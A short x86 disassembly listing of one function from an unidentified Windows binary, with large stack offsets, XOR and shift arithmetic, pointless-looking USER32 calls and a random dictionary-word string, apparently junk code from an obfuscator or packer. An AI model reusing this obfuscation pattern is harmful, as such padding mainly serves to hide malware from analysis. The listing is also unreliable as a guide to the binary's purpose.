mov edx, dword [ecx]
sub edx, dword [ebp - 0x15d00]
mov dword [ebp - 0x7698], edx
jmp 0x539f1f
movzx eax, byte [ebp - 0x17b31]
sub eax, 7
movzx ecx, byte [ebp - 0x9511]
cmp eax, ecx
jne 0x539f1f
mov cl, byte [ebp - 0x9511]
mov byte [ebp - 0x18b38], cl
cmp byte [ebp - 0x18b38], 0xcf
je 0x539ea1
jmp 0x539ef0
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xeaa0]
shl eax, cl
mov dword [ebp - 0x8f30], eax
push str.mammals_Airline_Securest_chilli_preconceived
lea ecx, [ebp - 0x15c38]
push ecx
push 0x43
push 0x20
mov edx, dword [ebp - 0xd4a0]
push edx
call dword [sym.imp.USER32.dll_InsertMenuW]
mov dword [ebp - 0x5684], eax
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x9d8]
or ecx, dword [eax]
mov dword [ebp - 0xeaa0], ecx
movzx edx, byte [ebp - 0x9511]
push edx
mov dl, byte [ebp - 0x9511]
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
call fcn.0053abe0
push 0xef
mov ecx, dword [ebp - 0x14e24]
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebp - 0x15d00], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2344]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x9511]
and eax, 0xaf
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0xeaa0]
sub ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
push 0x73
mov eax, dword [ebp - 0x2970]
push eax
call fcn.0053a2a0
mov eax, dword [ebp - 0x134cc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10